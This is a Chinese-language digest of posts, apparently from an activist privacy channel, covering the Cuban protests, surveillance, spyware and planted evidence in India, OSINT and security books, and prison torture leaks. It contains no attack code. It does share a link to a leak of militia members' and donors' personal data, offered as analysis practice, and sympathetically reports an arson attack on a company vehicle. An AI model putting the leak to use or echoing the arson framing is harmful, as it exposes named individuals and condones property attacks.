现在，这并不是一场跨越所有社会阶层的普遍爆炸。除了大部分城镇地区之外，大多数抗议活动都是由最贫困的人口群体发起的。国家及其捍卫者对待这个问题的阶级主义偏见在对抗议者及其“暴力”的批评中显而易见。几十年来，古巴的社会不平等一直在加剧，国家一直在利用这种动态来建立联盟和确保忠诚度。在这种情况下，最弱势的阶层和最有特权的阶层之间已经发生了冲突。

这场抗议活动开始于哈瓦那以外的地区，这些地区受到供应短缺、过度隔离和长达12小时的停电的困扰。再加上美国禁运加剧和政府管理不善所产生的当前危机累积下的社会不满—— 其中最严重的是年初实施的一系列措施，导致通货膨胀的加剧和黑市的增长—— 导致在圣安东尼奥这样的城市，数百人涌上街头，表达他们的不满情绪。这次示威在社交媒体上产生影响后，在遭受类似问题的地区也发生了其他抗议活动。下午4点左右，示威活动在全国范围内蔓延。

正是在迪亚斯·卡内尔发表公报，呼吁他的所谓“革命者”与示威者对抗之后，对和平游行进行了严厉的镇压，并与警察发生了激烈的冲突。

所有的游行都是自发的，最后都失去了方向，人群很容易被驱散。互联网的关闭也降低了抗议活动的能见度，而来自国家政权的大量信息立即宣称许多地方的抗议活动“已经结束”。

在整个过程中，通信受到了很大的冲击，因为唯一能够被传播的是只有官方媒体歪曲的谎言新闻和大量通过通信应用程序传播的假新闻。这大大促进了紧张局势的缓解，但互联网的回归和关于镇压的证词的发表并没有让人们完全恢复正常。这些天，主要的组织空间都集中在释放那些被捕者的斗争上—— 根据一些名单，被捕者已经超过500人。

这就是这期的播客所讲述的主题。在整个讨论中，主持人谈到了这场

示威活动的背景。从美国封锁、经济危机、停电和COVID-19大流行这两个方面来看，示威的阶级和种族构成，对警察暴行和国家权力日益增长的愤怒的影响，农村和城市中心的历史分化，抗议活动中反动、亲美和亲干预潮流的作用、规模和范围，对抗议者的镇压，包括无政府主义者和其他反资本主义者，以及讨论左翼如何回应美国这里的抗议活动。

古巴的无政府主义运动规模不大，但在不断发展，播客谈到人们可以如何支持那里的自治和互助项目，以及记住古巴无政府主义历史的重要性。

这是一个很重要的讨论，推荐您听一下，对中国未来的反抗行动很重要：

https://ia801502.us.archive.org/3/items/cuba-int/CubaInt.mp3

📌 不要错过这篇文章，对古巴今年的反抗运动的解说《这一次，站起来的是真正的人民》。

即使您只是想要贷款，也不得不需要开始学习开源情报反侦察技术了：您的网络浏览历史记录即将决定您的“信用评分”——

国际货币基金组织（IMF）公布了对贷款人未来可能如何开展业务的研究结果，以及这些公司计划开始向借款人询问哪些新信息和个人数据，以确定贷款人的信用评分。

最令人惊讶的是似乎不可避免的转变—— 从仅仅获取信用信息转变为将人们的在线行为都纳入决定是否借给他们急需的钱的条件中，例如贷款买房。

与大多数国家现在的评分系统运作方式相比—— 这些预计即将到来的变化在隐私方面看起来相当具有侵略性，而且没有适当的保障措施，甚至都没考虑安全措施。

⚠ 银行和其他机构甚至会去访问个人的网络浏览记录和购物历史。这将通过允许由算法驱动的自动系统收集开源情报数据并将其转化为信用报告来实现。

从IMF的报告中引述一段：

“非金融数据的使用将对金融服务的提供产生巨大影响。传统上，银行依赖于对来自支付流和会计记录的客户财务信息的分析。互联网的

兴起允许使用新类型的非金融客户数据，如个人的网络浏览历史记录和网上购物行为，或网上供应商的客户评级”。

那些希望获得贷款的人目前还可以期待自己的还款记录和信用历史记录，以及总债务的检查，但是在不久后的未来，国际货币基金组织的研究表明，这将扩大到包括所谓的数字足迹—— 从已经公开的数据源中收集一切数据，或由信用局获得。

此举声称为改善 “贷款违约预测”—— 即将到来的趋势被作为一种方式来销售，让那些以前因为自己的身份 “不光彩” 而无法使用贷款的人能够获得资金。这些人也被称为 “信用隐形人”，他们大多是低收入的少数民族人口和移民，如果能够接触到他们在互联网上表现出来的个人习惯和行为，应该可以帮助银行和其他贷款人对他们进行足够精确的 “剖析”，以确定他们是否应该获得贷款。

但另一方面，那些 “分数可查” 只是分数较低的公民可能会在现在的新系统中受到影响，因为他们的网上活动可能会说服贷款人切断他们获得资金的途径。

尽管朝着开源情报方向的发展看起来是不可避免的，但还缺少一些关键的答案：从互联网上抓取的哪些数据将被用来确定某人的信用等级？以及如何保证这些数据的安全？

然而，国际货币基金组织的帖子警告说，要期待 “效率与隐私的权衡”。

https://docs.reclaimthenet.org/wef-prelim-report-1.pdf

《The Operating System: An Anarchist Theory of the Modern State》

「图」

改革还是变革 ——

「图」

资本主义和国家之间的联系 …. 根本问题不是资本或工资制度，而是国家。

对资本来说，目标是创造尽可能大和统一的市场，因为这使它们更可

预测，更容易从中提取最大的利润；资本和国家鼓励消费的愿望 ……促进了资本主义模式的无情经济增长。

现代国家，无论其形式如何，本质上都是一个资本主义机器，是资本家的国家，是整个国家资本的理想化身。它越是着手接管生产力，就越是实际成为民族资本家，越是剥削公民。工人仍然是雇佣工人——无产者。资本主义关系并没有被消除。相反，它到了非做决定不可的紧急关头。

我们面临着经济衰退、大流行病和战争（有核战争的危险），以及其他社会弊端：”今天，灾难性的气候恶化迫在眉睫，我们为之奋斗的不仅仅是一个公正的社会；我们在为生存而奋斗”

有国家，比没有国家，更好吗？

国家能满足什么？不能满足什么？

您想要的是什么？国家能给您吗？

打破现有国家以创造新国家，就足够了吗？...

这本2021新书填补了传统论述的重要空白，但它仍然不够完美。

您可以在这里回顾文章：《改革还是变革》，这篇文章和这本书同样重要。

下载：https://www.patreon.com/posts/gai-ge-huan-shi-54255602

社会福利携带预装的恶意软件，这意味着什么？——

「图」

便宜的东西可能很危险，这个道理您应该明白。但是，如果 “便宜” 来自政府发放的福利，很多人可能难以意识到其中的危险性有多大。

Malwarebytes Labs 在今年1月份发布了一份调查：「美国政府资助的手机预装了不可移除的恶意软件」，其中调查的手机是U683CL。那之后，一些人声称，各种ANS手机型号也都遇到了与UMX（Unimax）U683CL类似的问题。

于是他们找到了另一部ANS UL40，再次发现这是另一个被预装了恶意软件的手机型号，它是由维珍移动公司通过Assurance Wireless提

供的“生命线援助计划”。 这次调查的手机是运行安卓系统7.1.1的ANS（美国网络解决方案）UL40。

Assurance Wireless 是一项联邦生命线援助计划，它为符合条件的低收入人群提供：免费电话，免费月度流量，无限短信等。用户不会收到帐单，不需要签署合同，也不需要支付启动费或经常性费用。然而，却要承受被预装的恶意软件。

下面是 Malwarebytes Labs 的调查报告，如果您对安全性审计感兴趣，也许可以参考这份报告的思考方式。

顺便说，在便宜手机中预装恶意软件的物理钓鱼行为已经在多个国家发现；当您准备购买电子设备却预算紧张的情况下，一定要记得这件事。

https://blog.malwarebytes.com/android/2020/07/we-found-yet-another-phone-with-pre-installed-malware-via-the-lifeline-assistance-program/

#leaks 来自“誓言守护者”服务器的大约 5 GB 的电子邮件、聊天记录、成员、和捐助者列表，以及其他文件。

“誓言守护者”是一个美国极右翼民兵组织，该组织由现役和退役的美国军人、警察和第一响应者组成。美国联邦调查局认定“誓言守护者”为一个”准军事组织”，是一个规模庞大但组织松散的民兵集合体。

【注：您可以使用我们曾经上传的所有泄漏信息来练习情报分析；跟随 #leaks 标签可找到相关内容】

下载：https://t.me/iyouport/8773

“一带一路”和网络间谍——

「图」

中国黑客入侵了至少 10 个印度尼西亚政府部门和机构的内部网络，其中包括来自印度尼西亚主要情报机构 Badan Intelijen Negara (BIN) 的计算机。

由 Insikt（Recorded Future的威胁研究部门）发现的这次入侵与 Mustang Panda 有关，后者是一个以针对东南亚地区的网络间谍活动而闻名的中国威胁行为者。

Insikt 研究人员在今年4月首次发现这一活动，当时他们检测到PlugX恶意软件的指挥和控制（C&C）服务器，由 Mustang Panda 操作，与印度尼西亚政府网络内的主机进行通信。

这些通信后来被追溯到至少2021年3月。该恶意软件的入侵点和交付方式目前仍不清楚。

Insikt 的研究人员在今年6月向印尼当局通报了入侵事件，然后在7月再次通报。而印尼官员们没有为这些报告提供反馈。

情报部门BIN是此次活动中被入侵的最敏感目标，它没有回复记者在7月和8月发出的评论请求。

一位熟悉此项调查的消息人士上个月告诉记者，“当局已经采取了措施，以确定和清理受感染的系统”。

然而几天后，Insikt 研究人员证实，印尼政府网络内的主机仍在与 Mustang Panda 恶意软件服务器进行通信。

这一侵入性网络间谍活动的消息传来时，中国和印尼已经在几年前几乎达到武装冲突的状况后重新建立了密切的外交关系，这主要是由于海洋领土争端。

目前，中国是印度尼西亚的第二大投资者，在过去的两年里，中国一直在向印度尼西亚各省示好，以促进贸易增长和进一步实施所谓的“一带一路” 倡议 #BRI，这是一项在邻国投资以建立持久政治关系和贸易协定的外交政策倡议。

但是，这些投资并不总是受欢迎的，一些国家将其视为本国经济的特洛伊木马。

自2013年中国公开其 “一带一路” 倡议以来，网络间谍组织经常针对中国计划在此项目中投资的国家。

《Ages of American Capitalism: A History of the United States》

「图」

今天的主流经济学遵循的是一条非常严谨的数学道路，…… 没有为经济生活的其他描述留出多少空间；相反，历史分析在经济学中应有一

席之地，以及对经济是什么有更广泛的看法。

市场真的如此强大吗？塑造了当今全球经济霸主地位？

并不是的。这一流传已久的神话现在尤其需要被打破，因为它有可能正在进入一个重要的转折期 ……

补充此前文章中介绍的那本书。您可以在这里回顾文章：《资本主义时代：美国作为发展中国家的肖像》。

下载：https://t.me/iyouport/8786

下载：https://www.patreon.com/posts/zi-ben-zhu-yi-fa-54654161

虽然您很可能认为关于 “信任圈” 不超过五人的传统说法似乎很武断，也许您周围就有经过测试的小组规模，而且您可以在大型聊天群组中使用部分而不是全部OPSEC操作（比如保持参与度高于凝聚力，等等）；但是，如果您不够小心，任何时候，您的社交媒体活动和聊天活动都会很容易让您陷入被暴露的困境。

我们无法确定地声称 “说得越多，被暴露的可能性就越大”，但是，请随时记得：不要吹牛（这会暴露你的欲望），避免表现自己（这会暴露你的偏好和弱点），某些时候没必要纠正他人言论中的明显错误（这会暴露你的知识面和专业领域，要知道，恶意者经常故意出错来引诱你说话）；这些常见陷阱始终具有最大的适用性范围。

opsec和安全文化的意义在于帮助您更安全地做您想做的事，绝不是要束缚您！您始终应该根据自己所面对的实际情况对这些基本原则进行恰当的调整。

📌 在这里回顾安全文化的基本原则—这是为在现实行动中保护您和周围人的安全，避免渗透、避免操纵：[[

「图」

iyouport

AS60 如果您的团队陷在被监视和被渗透的恐慌中，只是因为您缺少了一件东西 — 什么是安全文化

此前的系列的文章中我们已经多次提到“安全文化” 这个概念，那么它是什么意思呢？本文将详细解释这个概念。 安全文化是敏感人士社区

共享的一套习俗，这样的社区的成员很可能会成为政府的目标，而安全文化的目的就是帮助您将风险降到最低。 📌 有了安全文化后，每个人都不用再从头开始反复制定安全措施了，而且可以帮助抵消压力情况下的偏执和恐慌 — — 当然，也能帮助您远离监狱。 📌 安全文化和安全协议是不同的；协议和文化的区别在于，文化会变成无意识的、本能的，从而毫不费力；一旦最安全的行为已经成为您的集体中每个人的基本习惯，您就可以不需要再花更多时间和精力去强调它的必要性、或者承受没有它的后果、或者担心自己有多大的危险了，因为您会知道自己已经在尽一切努力去小心。…

Read more

4 years ago · iyouport

|https://iyouport.substack.com/p/as60-?utm_source=substack&utm_campaign=post_embed&utm_mediun

重要的更新：以完全不同的方式重写开源情报——

「图」

以前我们多次介绍过 Michael Bazzell，在本频道搜索这个名字可检索相关内容。

互联网技术始终处于动态变化中，这意味着开源情报工具和方法论也必需随之更新，于是，新版的总是会比旧的更实用。

而这本第8版（2021年）更加不同。它包含超过650页的内容，几乎完全重写，贯穿31个章节。现在是时候以不同的方式看待开源情报了。

多年来，在本书的前几版中，一直依赖外部资源来提供搜索工具、虚拟环境和调查技术。而当服务关闭、网站消失、定制资源因外部压力而被拆除时，您就只能失望。

这本书旨在纠正这种两难处境。它旨在帮您控制您的调查资源，变得自力更生。将不再需要在线搜索工具；而是在本地制作和托管自己的工具。将不再寻求预先构建的虚拟机；而是创建和配置自己的虚拟机。

这本书将权力重新交到您的手中。

新的OSINT专业人员必须是自立的，拥有自己的工具和资源。您将成为一个更熟练的主题专家。

这本书足够保持您的开源情报调查方法的新鲜度。它包括新的在线和离线搜索工具；一个新的Linux OSINT虚拟机；以及在Mac和Windows操作系统中复制所有 Linux OSINT 工具的教程。针对Facebook、Instagram、LinkedIn、YouTube 等主要平台的全新搜索方法，确保您的在线调查武器库中拥有最新技术。

整个章节都是关于方法学、工作流程、指南文档和道德规范的，为您的下一次主动调查提供了清晰的计划。所有数字文件都通过下载包括在内。

在这里，重新开始。

下载：https://t.me/iyouport/8794

下载：https://www.patreon.com/posts/zhong-yao-de-xin-54653518

我们去年推荐过一本新书：《你在监狱里吗》，这是一个很重要的问题，因为这种监禁方式正在全世界蔓延，即 把您的居所变成监狱；您不在监狱里，但和在监狱里完全一样。它被称为电子监控 (EM) ，这是一种迫在眉睫的新型的人权侵犯。

支持者称其为“司法改革、刑法创新”，但事实上，它是一种监狱的扩张—— 让社会切割成块，逐一地随机地转变为监狱。

- ○ ■ 监狱和集中营都是政治手段，是福科所谓的纪录的技术，旨在将身体作为一种政治力量，通过针对性的惩罚（如针对异议人士、少数族裔、穷人和无家可归者、移民等），形成一种无所不在的和永久性的威胁文化。

监狱的扩张就是这种威胁文化的深化。电子监控就是**21**世纪的夹边沟。

请注意，中国很可能很快会出现这种东西，但同样性质的东西已经在中国存在，想想看？

反抗已经全面起步。MediaJustice 组织就是其中之一。该组织为此制作了一个互动地图，您可以从中清晰地看到这种恐怖的蔓延：https://mediajustice.org/electronic-monitoring-hotspots/colorado/

https://mediajustice.org/electronic-monitoring-hotspots/colorado/

建议选中该地图下方的所有选项，然后点选地区，您将看到更详细的内容，包括视频。

《Cloud Native Security》

「图」

探索最新、最全面的云原生技术栈安全指南——

「图」

这本书详细研究了如何将当今云原生基础设施上的攻击面降到最低。在整个工作中，通过实际案例来演示缓解威胁和需要解决的领域。这本书包含了专业人士所需的信息，建立一个多样化的组合，以加强云原生资产所需的利基知识。

这本书从了解Linux容器和容器运行时的保护等比较容易理解的内容开始，然后转向更高级的主题，如对 Kubernetes 的高级攻击。您还会学到以下内容：

如何在CI/CD管道中安装和配置多种类型的DevSecOps工具；

如何构建一个可以提供特殊级别细节的取证日志系统；

如何保护最受欢迎的容器编排器Kubernetes的安全；

如何使用复杂的策略在云中自动执行安全操作 ……

这本书是DevOps工程师、平台工程师、安全专家和学生的完美选择，如果您是希望提高自己对现代安全挑战的理解的专业人士，这本书应该适合您。

下载：https://t.me/iyouport/8802

下载：https://www.patreon.com/posts/tan-suo-zui-xin-54703828

恶意软件不止监视你，它还用来栽赃—— 在异议人士的电脑上植入”犯罪证据”

「图」

我们在此前已经分析过以色列间谍软件“飞马”如何在全世界针对普通人进行监视，尤其是，您可以如何防备它。见：《如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击》。

现在，此事又有了新的状况。

在印度一起针对数字权利活动家的案件中提交的技术证据发现了一个针对公民社会活动家的新攻击媒介。

美国数字取证公司 Arsenal Consulting Ltd. 在“Bhima Koregaon”案中提交的一份报告提供的细节表明，恶意行为者未经授权长期秘密入侵一名被告的笔记本电脑，并植入了用作指控被告的证据的关键文件。

值得注意的是，本案中受到迫害的多位活动家以及与被告有关的人都已经成为**NSO**集团的**“Pegasus（飞马）”**恶意软件的攻击目标。

Bhima Koregaon 案涉及11名著名的印度人权活动家。这批人包括达利特人权利活动家罗纳·威尔逊、83岁的异议诗人瓦尔瓦拉·拉奥、和著名学者阿南德·泰尔通布德，以及一名劳工律师和一名耶稣会牧师等人。在2018年1月的大规模抗议活动导致街头暴力之后，他们都被指控“煽动反政府暴力”。他们是根据严格的“反恐怖主义法”，即1967年的《非法活动预防法》被指控的。

该恶意软件是在威尔逊先生的笔记本电脑上发现的。Arsenal Consulting 公司检查了被警察扣押的笔记本电脑的一个克隆副本。在他们于2021年2月提交给审判法庭的两份报告中的第一份中，Arsenal Consulting 表明，一名攻击者设法使用 Netwire（一种远程访问木马工具）渗透到笔记本电脑中。在第二份报告中，该公司指出，他们发现“没有证据表明与威尔逊先生电脑上的其他相关文件有合法互动，而且24个文件中的22个与报告一中确定的攻击者有直接联系”。

Arsenal Consulting 确定，在威尔逊于2019年被捕之前的22个月内，一名攻击者利用网络植入了可以栽赃被告的文件。这些文件被保存在一个隐藏的文件夹中，在该电脑上从来没有被打开过。这些文件也是用比威尔逊先生的电脑上的微软新版本创建的。因此，威尔逊先生找到孟买高等法院，要求成立一个特别调查小组，调查在他的电脑上植入虚假证据的情况，并在这期间要求暂停诉讼并立即释放他。但同时，州检察官对专家报告的可接受性提出异议。

在印度公民异议空间迅速萎缩的情况下，在异议人士的电子设备上植入栽赃证据的权力尤其令人震惊。印度公民社会正面临着政府对非政府组织的运作和资金的严苛限制，个人成为监视、骚扰和逮捕的目标。许多人是被手机上的恶意软件击中的。

2019年10月，WhatsApp 透露，臭名昭著的以色列监控供应商NSO集团利用一个“零日”漏洞，针对全球1400名个人。该漏洞允许攻击者部署NSO的飞马 Pegasus 间谍软件，允许他们只需拨打目标的电话号码就能提取用户的私人数据。公民实验室和 WhatsApp 随后的调查发现，此次被攻击的100人都是公民社会成员，包括印度的人权捍卫者、记者和学者，WhatsApp 联系了其中22人，通知他们受到攻击。WhatsApp 现在正在华盛顿特区的一家法院起诉NSO集团。

但故事并没有结束。

2020年，大赦国际和公民实验室发现了另一个协调性的间谍软件攻击活动，这次的目标是九名人权捍卫者，他们致力于帮助在比马·科雷冈案中被指控的活动家维权。这些人中至少有三人之前也是NSO集团的 Pegasus 间谍软件的攻击目标。在2019年1月至10月期间进行的攻击中，目标活动家收到了一系列带有恶意链接的电子邮件，如果点击这些链接，就会部署 Netwire，从而实现对其行动和通信的远程监控。NSO集团坚持认为，它只向政府出售间谍软件，而且无论如何，印度法律全面禁止黑客行为，对国家行为者没有特别的豁免。

在 Bhima Koregaon 案中，为植入证据而进行的黑客攻击是印度所不允许的策略的升级。虽然2000年《信息技术法》第69条允许在某些情况下进行“监视”，但同一法案的第43条明确禁止所有未经授权侵入个人电脑的行为。Arsenal 负责人马克·斯宾塞（Mark Spencer）将威尔逊先生笔记本电脑上的关键文件的植入描述为“数字取证中最严重的案件类型”。 公民社会必须认真对待这一威胁。那些允许NSO集团等间谍公司通过为这些攻击提供便利而获利的政府也必须如此。

各国政府也必须采取紧急行动。在2019年的一份报告中，前联合国言论自由问题特别报告员大卫·凯（David Kaye）呼吁所有国家“立即停止私人监控技术的全球销售和转让”。

📌 如果您关心这一安全问题，可参见我们曾经发布的两份报告：《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》、以及《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》。

尤其是，您需要知道，仅仅叫停监视技术出口是远远不够的（更何况法律都无法约束这一巨额利润的黑暗行业），我们必须强调这些恐怖的间谍软件的由来—— 蓬勃发展的零日漏洞市场，其中只有那几个国家是最大的买家：美国、中国、以色列、俄罗斯。非常推荐这本书，它花了7年的时间对此做出了深入的调查，见《这就是他们给我讲述世界末日的方式》。

#tools Map Channels 是一个很酷的工具，您可以为自己、为网站、甚至为合作创建各种方便的地图。他们有一些非常不错的功能，比如 “Street Tours”，您可以用它来创建一个带有注释的互动街道视图。您可以看下这个网站：

https://www.mapchannels.com/

什么是情报分析 —— **From raw data to intelligence**

「图」

上面这张图就是从原始数据、到诞生情报产品的过程的简易解读。您玩过积木游戏吗，那就很容易看懂它的意思。

这张图很经典了，它展示了情报分析师工作的整个流程。

失败的情报产品往往停在第四步，或者从第三步开始出现混乱。

📌 请随时记得，情报分析的目的是战略部署；您最终的分析产品必需能够正确且有效地指导行动。

酷刑和强奸是为让你合作：吹哨人揭露系统性警察暴力 ——

「图」

俄罗斯反酷刑组织 Gulagu-net.ru 收到了40GB的视频档案，其中显示了俄罗斯监狱中的系统性酷刑行为。囚犯们在狱警的监督下遭到毒打和性侵犯。

据负责此次泄密的吹哨人说，联邦监狱管理局和联邦安全局已经将对囚犯的酷刑和强奸系统化。酷刑和强奸是为了迫使囚犯与监狱管理部门合作。

吹哨人本人就是一名前囚犯，他曾被这个系统折磨过，后来被迫参与

其中，处理视频录像。该吹哨人在与 Gulag-net 接触后，决定“结束这个地狱”，并将视频以及资料发给反酷刑组织。根据这些泄漏的数据，仅在视频档案中就有数百人在该监狱遭受过酷刑，在俄罗斯其他监狱也有类似的报告。

吹哨人目前不在俄罗斯，正在寻求政治庇护。

📌 反警察暴力的抗议活动自2019年在美国发起后迅速掀起了全世界的联合反抗行动，其中，俄罗斯是第一个跟进这场反抗行动的国家——我们在当时有过介绍，见《当我们陷入困境》。

目前在美国的反抗行动仍在继续，尤其是，吹哨人在这场反抗行动中的崛起非常瞩目—— 鉴于当权者非常擅长销毁证据，除非亲历者揭露，否则很多罪行将被掩盖。这就是吹哨人的重要性所在。

我们在去年底和中国朋友的对话中也强调过这点，中国是全球警察暴力的重灾区之一（酷刑、强迫失踪、监视居住、骚扰和边控、威胁和胁迫做线人…），理论上中国反抗者应该对此具备俄罗斯反抗者同等的敏感和行动力。那么，是什么让中国的反抗者如此安静？甚至，(著名)异议人士/*伪*知识分子们疑似故意跑题、绕避这一真正的主题？

#tools 2021.1版本的 Tsurugi Linux 虚拟机终于来了！您可以开始下载OVA文件，ISO也将很快出现。新版本增加了大量的新工具，而且不仅仅是在开源情报调查部分，还有恶意软件分析工具、处理图像或加密货币的工具。除此之外，他们还修改了他们的菜单结构，所以您能够更容易找到您要找的东西：

https://tsurugi-linux.org/

Facebook 想要驻扎在你脸上 ——

「图」

几个月前，有中国的*AI*创业者询问我们对*Facebook* “元宇宙” 的看法。这似乎意味着模仿动作可能正在中国国内出现。我们将在不久后详细分析为什么 *Facebook* 的 “元宇宙” 是一场反乌托邦噩梦；但现在，有一个更紧迫的事，您需要知道 ……

如果你是Facebook的狂热用户，你必须知道，该公司很可能比你自己更了解你。它可以访问你的一切数据、你的朋友列表、你的记忆、你

发送的一切消息，以及你在该平台上所有点击、评论、滚动浏览的所有内容的记录。

- 还记着这两份报告吗《非物质劳动和数据收集：*Facebook* 的算法工厂 *(第1部)*—— 关于数字极权是如何剥削你的》和《人类数据库和算法劳工：*Facebook* 的算法工厂 *(第2部)*—— 关于数字极权是如何折腾你的》。我们的原网站上有 "关于*Facebook*" 的专栏，您可以从中看到对所有这一切灾难的揭露（该栏目收集在 列表-*2* 中）。

然而，Facebook 显然并不满足于它所建立的庞大数据池（从不知情的用户那里偷来的一切），现在，它想通过驻扎在你的脸上，来窥探你所看到的一切东西。

对于 Ray-Ban Stories 的推出，很难不让人感到愤慨，这是 Ray-Bans 和 Facebook 合作推出的299美元的智能眼镜。一系列的担忧立即浮现出来了：用户将变得更加心不在焉，与社会脱节，使用不当造成侵犯，更多的 "眼镜人"（一个在谷歌眼镜项目之后发展起来的讽刺性术语），当然，还有隐私问题，无论是对用户还是对公众。该公司在这方面有非常多的不良记录，允许他们完全访问你所看的一切，这引起了许多警告⚠。

如果您觉得这个眼镜项目看起来很熟悉，那就对了，因为这并不是一家公司第一次尝试把监视技术放在我们脸上。

2013年，谷歌推出了标价1500美元的谷歌眼镜，尽管宣传片引起了很大的轰动，但人们的反应是地狱般的拒绝。2018年，Snapchat 重新推出 Spectacles，试图从2016年的失败中吸取教训，这导致了4000万美元的亏损，反应同样是地狱般的公众拒绝。只有0.08%的 Snapchat 用户购买了这种眼镜，这次失败导致硬件副总裁马克·兰德尔辞职。

然而该公司并没有放弃这个噩梦，今年早些时候又宣布了第四代概念，将全面进入AR体验，尽管它还远没有为大众市场做好准备。

现在，**Facebook** 也加入了这一行列，为 **Ray-Bans** 眼镜配备了一个可以拍照和录像的微型摄像头，一个用于接听电话和播放播客的麦克风，以及镜框侧面用于音量控制和播放/暂停功能的小触摸板。

虽然据称这些数据并不直接流向 Facebook；相反，这些内容被存储在一个通过蓝牙连接到眼镜的手机应用程序中。这确实为用户提供了

一些隐私；用户可以控制哪些内容离开该应用程序。但是，它的问题比数据本身更大。

最大的问题是，智能眼镜看起来像一副普通的时尚雷朋眼镜。添加的监视技术是如此之小，以至于你很难注意到它们，尤其是未经训练的眼睛。它们只是看起来像很酷的眼镜—— 这无疑是一种设计选择。

唯一表明这副眼镜正在进行监视记录的是一个小小的**LED**灯。当Buzzfeed记者 Katie Notopoulos 戴着该眼镜转了一圈，用胶带遮住了这个LED灯（她后来发现这违反了服务条款），事实证明，这个可以提醒公众该眼镜处于活动状态的唯一迹象是如此地容易被遮蔽。

正如未来隐私论坛的律师杰里米·格林伯格（Jeremy Greenberg）所警告的，“你会让人们以非预期的方式使用这个设备”。

更为可怕的是，LED功能是在某隐私团体—— 后来被发现是由 Facebook 资助的—— 要求提供指示器后才被增加的。滥用的情况是显而易见的；隐蔽的监视记录，包括视觉监视和监听，以及成为恶意者和跟踪狂的工具。

意大利数据管理局已经要求澄清对隐私法的遵守情况，特别是在涉及拍摄儿童时。国际特赦组织也提出了类似的担忧，质疑雷朋公司与 Facebook 合作的决定。

Notopoulos 也认为这个项目的后果可能远远超过了数据隐私危机，他写道：“对眼镜佩戴者的隐私功能是很好的；但是，对世界上其他人的隐私功能呢？很危险”。换句话说，您能想象您不论走在任何地方都有人在偷拍您、窃听您，而且您还很可能不知道吗？

对此，请参见这里的分析《一个愚蠢带来的启示》。

未来也许会更可怕。虽然这些眼镜不完全是扎克伯格的全方位所谓“元宇宙”梦想的一部分，但是，它们肯定是第一次测试，看看公众对它们的反应如何。如果反应足够热烈，未来的迭代可能会增加AR/VR功能，使用户完全沉浸在数字世界中，以新的方式连接人们，当然，在您的日常生活中，也会销售大量的广告。

Facebook 必须走向垂直，以继续其增长并让股东满意，它认为人脸是实现这一目标的捷径之一。但要达到这个目标，Facebook 需要向公众保证它将隐私放在哪儿，否则这个项目注定要和之前的项目一起被扔进垃圾桶。

Fastmail 现在可以隐藏您的电子邮件地址——

「图」

有时，您不希望您注册的应用程序和服务知道您的实际电子邮件地址。1Password 正在与 Fastmail 合作添加一项新功能，该功能将您的电子邮件地址隐藏在一次性地址后面，而您无需付出任何额外努力。

Fastmail 谈到在其网站上屏蔽您的电子邮件地址的价值时说，“您不会想把您的名字和家庭地址随便告诉任何人的。公司可以出售或泄露您的电子邮件地址。当您注册在线服务和商店时，使用唯一的电子邮件地址代替您的真实电子邮件可以增加隐私。”

至于检查您的电子邮件，Fastmail 会将您从隐蔽的电子邮件地址收到的所有邮件放入一个收件箱中。这样，您从您注册的服务中获得的所有垃圾信息和垃圾邮件都将集中在一处。另外，您可能会收到一些想要阅读的邮件，因此有一个干净的收件箱来检查它们是很好的。

需要注意的重要一点是，除非您手动删除别名，否则它们不会过期，因此您可以一直使用被隐蔽的电子邮件地址在您的应用程序和服务中。

https://www.fastmail.com/1password/

Recorded Future：中文暗网主要是由在市场上经营的有经济动机的网络犯罪分子驱动。由于政府对网络犯罪的容忍度很低，而且经常进行打击，保持良好的操作安全性和匿名性对这些网络犯罪分子来说至关重要。

虽然中文暗网市场的产品种类繁多，但一般以泄露的数据和虚拟商品为主，在保持匿名的情况下容易买卖。

出于同样的原因，比特币是这些市场上的主要货币，而且这些市场一般与信息平台，特别是 Telegram 整合。

由于不断的执法行动，较低级别的市场通常会关闭和重新开放；一些更有经验的威胁行为者可能会迁移到国际的、成熟的暗网资源来开展业务。

尽管政府采取了打击行动，但中文的地下网络犯罪分子几乎肯定能找到生存和发展的途径。

这里是报告：Illegal Activities Endure on China’s Dark Web Despite Strict Internet Control

下载：https://t.me/iyouport/8821

谷歌警告其超过14000名用户，他们可能成为黑客组织APT28的网络钓鱼攻击目标。

到目前为止，该公司在检测和阻止网络钓鱼方面取得了成功—— 请不要误会这句话！对于不理解的人来说，这句话的实际意思是：谷歌完全可以窥探你的收件箱和阅读你的所有信息 ..... “以防止” 你的数据（实际上你的一切都属于谷歌）被泄露的风险。

这就是网络空间的农奴制，你不觉得吗？

事实证明，Apache中最近的一个漏洞创造了目录遍历攻击的可能性，实际上也可以允许RCE。

这只在通过mod_cgi启用CGI支持的Linux机器上工作。在这里，黑客可以通过目录遍历攻击的链条，以与Apache进程相同的权限执行任意代码。在重现已发布的 Apache PoC 的漏洞时，意外发现了这个问题。

我们为什么要裸体？——

「图」

[泰国] 10月9日的抗议活动是 “裸体” 主题，解放女权主义团体描述了她们的行动计划—— 有自己风格的裸体的意义。

「1. 在这里裸体这个词的意义是解放一切，只留下身体。

只留下身体也是我们空手而来的确认。免于任何冲突。

因此，总理巴育也必须赤身裸体出来和我们谈判。

2. 我们要撕碎和抛弃巴育爱国者的伪善面具。让所有人都看到巴育和他的战友们的邪恶肉体与他们的国家一起崩溃。」

1. ทะลุฟ้า
2. thalufah
3. ม็อบ9ตุลา

4. ขบวนกีv4
5. เฟมินิสต์ปลดแอก
6. เปลือย

一家以剥削闻名的瑞典医疗公司的一辆车被无政府主义者放火烧毁。

Attendo 是一家经营疗养院的公司，几天前在马尔默遭到袭击。无政府主义者放火烧了一辆属于该公司的小巴。

Attendo 公司因在瑞典大流行期间削减护士的预算而臭名昭著。这一决定导致护士们不得不自己制作防止COVID-19的防护装备，并用自己的钱为病人买饭。而在发生这一切的同时，高层管理人员给自己发了巨额奖金，并以 “诽谤” 为由起诉发表反对意见的人。

《Security Chaos Engineering. Gaining Confidence in Resilience and Safety at Speed and Scale》

「图」

安全混沌工程——

「图」

安全混沌工程(SCE) 指的是通过主动的实验来识别安全控制上的故障，以建立对系统能力的信心，以抵御生产中的恶意场景 。

SCE填补了当代安全方法中的许多空白，如红紫队演习等。红紫队演习或其他安全测试方法仍然很有价值，但是面临上述提到的囧境，一切都不同了。

与单独实施相比，与SCE的结合提供了更客观、更主动的反馈机制，为系统应对不良事件做好准备。

红队起源于美国武装部队，可描述为一种“对抗的方法，以最真实的方式模仿攻击者的行为和技术”。

企业中常见的红队有两种形式，分别是白客攻击和渗透测试。在这些演习中，蓝队是红队的防守队伍。

